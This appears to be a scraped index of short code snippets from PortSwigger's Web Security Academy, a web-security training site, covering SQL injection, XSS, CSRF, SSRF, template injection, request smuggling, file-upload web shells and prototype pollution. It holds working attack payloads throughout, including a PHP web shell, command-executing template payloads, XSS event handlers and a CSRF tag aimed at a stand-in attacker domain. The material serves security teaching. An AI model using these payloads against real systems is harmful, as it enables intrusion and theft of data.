Web Security Academy

https://portswigger.net/web-security/
Admin
Web Security Academy is a free online training platform offering interactive labs, tutorials, and...
Tokens:214,882
Snippets:3,257
Trust Score:10
Update:1 month ago
Show doc for...
Tokens:
Raw
### Mail Command Example

Source: https://portswigger.net/web-security/os-command-injection

Example of a server-side application call to the mail program.

```shell
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
```

--------------------------------

### HTTP GET Request for Web Shell Execution

Source: https://portswigger.net/web-security/file-upload

Example of triggering a command execution on a web shell via an HTTP GET request.

```http
GET /example/exploit.php?command=id HTTP/1.1
```

--------------------------------

### CORS Pre-flight Request Example

Source: https://portswigger.net/web-security/cors/access-control-allow-origin

An example of an OPTIONS request sent by a browser to verify if a PUT method and custom header are permitted.

```http
OPTIONS /data HTTP/1.1 Host: <some website> ... Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header
```

--------------------------------

### HTTP Request for File Execution Attempt

Source: https://portswigger.net/web-security/file-upload

Example of a GET request attempting to execute a PHP script, which the server handles by returning the file content as plain text.

```http
GET /static/exploit.php?command=id HTTP/1.1     Host: normal-website.com       HTTP/1.1 200 OK     Content-Type: text/plain     Content-Length: 39      <?php echo system($_GET['command']); ?>
```

--------------------------------

### Cache Buster Header Examples

Source: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws

Examples of headers that can be used to inject cache busters when the query string is unkeyed.

```http
Accept-Encoding: gzip, deflate, cachebuster Accept: */*, text/cachebuster Cookie: cachebuster=1 Origin: https://cachebuster.vulnerable-website.com
```

--------------------------------

### Wildcard Origin Header

Source: https://portswigger.net/web-security/cors/access-control-allow-origin

Example of using a wildcard to allow any origin.

```http
Access-Control-Allow-Origin: *
```

--------------------------------

### URL-based Prototype Pollution Example

Source: https://portswigger.net/web-security/prototype-pollution

Demonstrates a URL query string designed to trigger prototype pollution.

```text
https://vulnerable-website.com/?__proto__[evilProperty]=payload
```

--------------------------------

### Reflected XSS URL and Response Examples

Source: https://portswigger.net/web-security/cross-site-scripting/reflected

Examples showing a standard search URL, the resulting HTML response, and a malicious URL payload that injects a script tag.

```text
https://insecure-website.com/search?term=gift
```

```html
<p>You searched for: gift</p>
```

```text
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>
```

```html
<p>You searched for: <script>/* Bad stuff here... */</script></p>
```

--------------------------------

### Example Referer header with query string

Source: https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-broken

An example of a manipulated Referer header containing the target domain as a query string to bypass validation.

```http
Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
```

--------------------------------

### Example concatenated output

Source: https://portswigger.net/web-security/sql-injection/union-attacks

Shows the expected format of concatenated data returned by the database.

```text
... administrator~s3cure wiener~peter carlos~montoya ...
```

--------------------------------

### Construct confirmation request

Source: https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction

Example of a raw HTTP/2 request used to confirm a registration token.

```http
POST /confirm?token=1 HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: phpsessionid=YOUR-SESSION-ID
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

--------------------------------

### Template Injection Payload Example

Source: https://portswigger.net/web-security/server-side-template-injection

Example of a URL parameter containing a template injection payload.

```http
http://vulnerable-website.com/?name={{bad-stuff-here}}
```

--------------------------------

### Queueing a follow-up request

Source: https://portswigger.net/web-security/request-smuggling/browser/pause-based-desync

Example of queueing an arbitrary follow-up request in Turbo Intruder.

```python
followUp = 'GET / HTTP/1.1\r\nHost: vulnerable-website.com\r\n\r\n'
engine.queue(followUp)
```

--------------------------------

### Unprotected Admin URL Example

Source: https://portswigger.net/web-security/access-control

Example of a sensitive administrative URL that may be accessible to unauthorized users.

```text
https://insecure-website.com/admin
```

--------------------------------

### File system access in ERB

Source: https://portswigger.net/web-security/server-side-template-injection/exploiting

Example of listing directories and reading arbitrary files using ERB syntax.

```ERB
<%= Dir.entries('/') %> <%= File.open('/example/arbitrary-file').read %>
```

--------------------------------

### Request with Credentials

Source: https://portswigger.net/web-security/cors/access-control-allow-origin

Example of a cross-origin request including a session cookie.

```http
GET /data HTTP/1.1 Host: robust-website.com ... Origin: https://normal-website.com Cookie: JSESSIONID=<value>
```

--------------------------------

### PHP serialized object example

Source: https://portswigger.net/web-security/deserialization/exploiting

Example of a serialized PHP User object showing the structure of class names, attribute counts, and data types.

```php
O:4:"User":2:{s:4:"name":s:6:"carlos";s:10:"isLoggedIn":b:1;}
```

--------------------------------

### Exploit server URL example

Source: https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack

The URL structure for the provided exploit server.

```text
https://exploit-YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit
```

--------------------------------

### Test URL parameter injection

Source: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-client-side-redirect

Example of testing the postId parameter for arbitrary path injection.

```text
/post/comment/confirmation?postId=foo
```

--------------------------------

### Inject path traversal sequence

Source: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-client-side-redirect

Example of using path traversal to redirect to the account page.

```text
/post/comment/confirmation?postId=1/../../my-account
```

--------------------------------

### Root-relative redirect behavior

Source: https://portswigger.net/web-security/request-smuggling/exploiting

Example of a server-level redirect constructing a root-relative URL.

```http
GET /example HTTP/1.1 Host: normal-website.com  HTTP/1.1 301 Moved Permanently Location: /example/
```

--------------------------------

### Remote code execution in Mako

Source: https://portswigger.net/web-security/server-side-template-injection/exploiting

Example of executing system commands in the Mako template engine.

```Mako
<%                 import os                 x=os.popen('id').read()                 %>                 ${x}
```

--------------------------------

### Queueing a request with a pause

Source: https://portswigger.net/web-security/request-smuggling/browser/pause-based-desync

Example of using the queue interface to pause after headers for 60 seconds.

```python
engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=60000)
```

--------------------------------

### File extension obfuscation examples

Source: https://portswigger.net/web-security/file-upload

Various techniques to bypass file extension validation filters.

```text
exploit.php.jpg
```

```text
exploit.php.
```

```text
exploit%2Ephp
```

```text
exploit.asp;.jpg
```

```text
exploit.asp%00.jpg
```

```text
exploit.p.phphp
```

--------------------------------

### Response with Credentials Allowed

Source: https://portswigger.net/web-security/cors/access-control-allow-origin

Example of a server response permitting credentialed access via CORS headers.

```http
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Credentials: true
```

--------------------------------

### Defining an object literal

Source: https://portswigger.net/web-security/prototype-pollution/javascript-prototypes-and-inheritance

An example of creating a basic JavaScript object using curly brace syntax.

```javascript
const user =  {     username: "wiener",     userId: 01234,     isAdmin: false }
```

--------------------------------

### Example output of the executed polyglot shell

Source: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

The expected output format when the polyglot file is successfully executed by the server.

```text
START 2B2tlPyJQfJDynyKME5D02Cw0ouydMpZ END
```

--------------------------------

### Creating Objects via Literal and Constructor Syntax

Source: https://portswigger.net/web-security/prototype-pollution/client-side

Demonstrates two equivalent methods for initializing a JavaScript object.

```javascript
let myObjectLiteral = {}; let myObject = new Object();
```

--------------------------------

### CL.0 Request Smuggling Probe

Source: https://portswigger.net/web-security/request-smuggling/browser/cl-0

Example of a POST request containing a smuggled GET request in the body, followed by a standard GET request to test for desync behavior.

```http
POST /vulnerable-endpoint HTTP/1.1 Host: vulnerable-website.com Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 34  GET /hopefully404 HTTP/1.1 Foo: xGET / HTTP/1.1 Host: vulnerable-website.com
```

```http
HTTP/1.1 200 OK       HTTP/1.1 404 Not Found
```

--------------------------------

### Create a product mutation

Source: https://portswigger.net/web-security/graphql/what-is-graphql

Demonstrates a mutation request to create a product and the corresponding JSON response.

```graphql
#Example mutation request
mutation {
    createProduct(name: "Flamin' Cocktail Glasses", listed: "yes") {
        id
        name
        listed
    }
}
```

```json
#Example mutation response
{
    "data": {
        "createProduct": {
            "id": 123,
            "name": "Flamin' Cocktail Glasses",
            "listed": "yes"
        }
    }
}
```

--------------------------------

### Obfuscated Admin URL Example

Source: https://portswigger.net/web-security/access-control

Example of an unpredictable URL used for security by obscurity.

```text
https://insecure-website.com/administrator-panel-yb556
```

--------------------------------

### Oracle UNION SELECT syntax example

Source: https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle

Demonstrates the required syntax for Oracle UNION SELECT statements using the dual table.

```sql
UNION SELECT 'abc' FROM dual
```

--------------------------------

### Send a POST request using fetch()

Source: https://portswigger.net/web-security/prototype-pollution/client-side/browser-apis

Demonstrates the standard usage of the fetch() API with an options object.

```javascript
fetch('https://normal-website.com/my-account/change-email', {     method: 'POST',     body: 'user=carlos&email=carlos%40ginandjuice.shop' })
```

--------------------------------

### Introspection Probe via GET Request

Source: https://portswigger.net/web-security/graphql

Attempts to bypass introspection restrictions by using a GET request with URL-encoded parameters.

```http
     # Introspection probe as GET request      GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D  
```

--------------------------------

### Malformed Request Line Example

Source: https://portswigger.net/web-security/host-header/exploiting

An example of a malformed HTTP request line using an @ character to manipulate the interpreted upstream URL.

```http
GET @private-intranet/example HTTP/1.1
```

--------------------------------

### Download Git Directory with wget

Source: https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history

Use wget to recursively download the entire .git directory from the target server to inspect version history locally.

```bash
wget -r https://YOUR-LAB-ID.web-security-academy.net/.git/
```

--------------------------------

### Dynamic Client Registration Request

Source: https://portswigger.net/web-security/oauth/openid

Example of a POST request used to register a client application with an OpenID provider, including various configuration properties.

```http
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```

--------------------------------

### Self-contained CSRF exploit using GET

Source: https://portswigger.net/web-security/csrf

A simple CSRF exploit using an image tag to trigger a GET request on a vulnerable domain.

```html
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
```

--------------------------------

### Obfuscating SQL Keywords with CHAR()

Source: https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings

Demonstrates how to construct the SELECT keyword using concatenated decimal character codes.

```sql
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
```

--------------------------------

### Bypass SameSite Lax via GET request

Source: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions

Uses a script to trigger a top-level navigation GET request, which includes session cookies under Lax restrictions.

```html
<script>     document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script>
```

--------------------------------

### Identify potential prototype pollution gadgets

Source: https://portswigger.net/web-security/prototype-pollution

Examples of how library configuration logic and script injection can be exploited when properties are not explicitly defined on an object.

```javascript
let transport_url = config.transport_url || defaults.transport_url;
```

```javascript
let script = document.createElement('script'); script.src = `${transport_url}/example.js`; document.body.appendChild(script);
```

--------------------------------

### Exploiting Unkeyed Headers for Resource Import

Source: https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws

Demonstrates using the X-Forwarded-Host header to redirect resource imports to an attacker-controlled domain.

```http
GET / HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: evil-user.net User-Agent: Mozilla/5.0 Firefox/57.0  HTTP/1.1 200 OK <script src="https://evil-user.net/static/analytics.js"></script>
```

--------------------------------

### Trigger XSS with ondragstart

Source: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Executes when the user starts dragging an element.

```html
<xss draggable="true" ondragstart="alert(1)" style=display:block>test</xss>
```

--------------------------------

### XSS via ontransitionstart

Source: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Triggers an alert when a CSS transition starts.

```html
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionstart=alert(1)></xss>
```

--------------------------------

### Referencing the Object Constructor

Source: https://portswigger.net/web-security/prototype-pollution/client-side

Shows how to access the constructor function from an object instance.

```javascript
myObjectLiteral.constructor            // function Object(){...} myObject.constructor                   // function Object(){...}
```

--------------------------------

### Execute GraphQL Mutation

Source: https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint

Example of a mutation request to delete a user by ID.

```GraphQL
{ "data": { "getUser": null } }
```

```GraphQL
     /api?query=mutation+%7B%0A%09deleteOrganizationUser%28input%3A%7Bid%3A+3%7D%29+%7B%0A%09%09user+%7B%0A%09%09%09id%0A%09%09%7D%0A%09%7D%0A%7D                                 
```

--------------------------------

### List Database Tables and Columns

Source: https://portswigger.net/web-security/sql-injection/cheat-sheet

Enumerate tables and columns within the database schema.

```sql
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
```

```sql
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
```

```sql
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
```

```sql
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
```

--------------------------------

### XSS via onplay event handler

Source: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Triggers when media playback starts.

```html
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

--------------------------------

### Trigger XSS on SVG animation start

Source: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Fires when an SVG animation begins.

```html
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```

--------------------------------

### Example Request with Origin Header

Source: https://portswigger.net/web-security/cors

A standard HTTP request demonstrating the inclusion of an Origin header for CORS identification.

```http
GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=...
```

--------------------------------

### Secure SQL Query with Parameterized Statements

Source: https://portswigger.net/web-security/sql-injection

This example shows the secure approach using PreparedStatement to prevent user input from interfering with the query structure.

```java
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?"); statement.setString(1, input); ResultSet resultSet = statement.executeQuery();
```

--------------------------------

### Malicious JSON Input

Source: https://portswigger.net/web-security/prototype-pollution

Example of a JSON payload used to inject properties into the prototype.

```json
{     "__proto__": {         "evilProperty": "payload"     } }
```

--------------------------------

### Demonstrate array prototype property iteration

Source: https://portswigger.net/web-security/prototype-pollution/server-side

Shows how a 'for...in' loop iterates over array indices and inherited properties.

```javascript
const myArray = ['a','b']; Object.prototype.foo = 'bar';  for(const arrayKey in myArray){     console.log(arrayKey); }  // Output: 0, 1, foo
```

--------------------------------

### URL Encoding Payloads

Source: https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings

Examples of standard and double URL encoding for an XSS payload.

```text
[...]/?search=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
```

```text
[...]/?search=%253Cimg%2520src%2520onerror%253Dalert(1)%253E
```

--------------------------------

### Bypassing Whitelist Filters with URL Features

Source: https://portswigger.net/web-security/ssrf

Examples of using URL syntax features to bypass strict hostname validation filters.

```text
https://expected-host:fakepassword@evil-host
```

```text
https://evil-host#expected-host
```

```text
https://expected-host.evil-host
```

--------------------------------

### Forbidden Wildcard and Credentials Combination

Source: https://portswigger.net/web-security/cors/access-control-allow-origin

Example of an insecure and invalid CORS header configuration.

```http
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
```

--------------------------------

### Robots.txt URL Disclosure

Source: https://portswigger.net/web-security/access-control

Example of an administrative URL potentially exposed in a robots.txt file.

```text
https://insecure-website.com/robots.txt
```

--------------------------------

### Create an empty object

Source: https://portswigger.net/web-security/prototype-pollution/javascript-prototypes-and-inheritance

Initialize a new empty object to observe inherited properties.

```javascript
let myObject = {};
```

--------------------------------

### Trigger XSS with ontouchstart

Source: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Executes JavaScript when a touch interaction starts on a mobile device.

```html
<body ontouchstart=alert(1)> 
```

--------------------------------

### Demonstrate prototype property iteration

Source: https://portswigger.net/web-security/prototype-pollution/server-side

Shows how a 'for...in' loop iterates over inherited properties on an object.

```javascript
const myObject = { a: 1, b: 2 };  // pollute the prototype with an arbitrary property Object.prototype.foo = 'bar';  // confirm myObject doesn't have its own foo property myObject.hasOwnProperty('foo'); // false // list names of properties of myObject for(const propertyKey in myObject){     console.log(propertyKey); }  // Output: a, b, foo
```

--------------------------------

### Example JWK Set structure

Source: https://portswigger.net/web-security/jwt/algorithm-confusion

A sample JSON structure representing a JWK Set containing RSA public keys.

```json
{     "keys": [         {             "kty": "RSA",             "e": "AQAB",             "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",             "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"         },         {             "kty": "RSA",             "e": "AQAB",             "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",             "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"         }     ] }
```

--------------------------------

### UNION attack for version identification

Source: https://portswigger.net/web-security/sql-injection/examining-the-database

Example of using a UNION attack to retrieve version information.

```sql
' UNION SELECT @@version--
```

--------------------------------

### SQL Hex Obfuscation

Source: https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings

Shows how to represent SQL keywords using hex prefixes.

```sql
0x53454c454354
```
Tokens:
Raw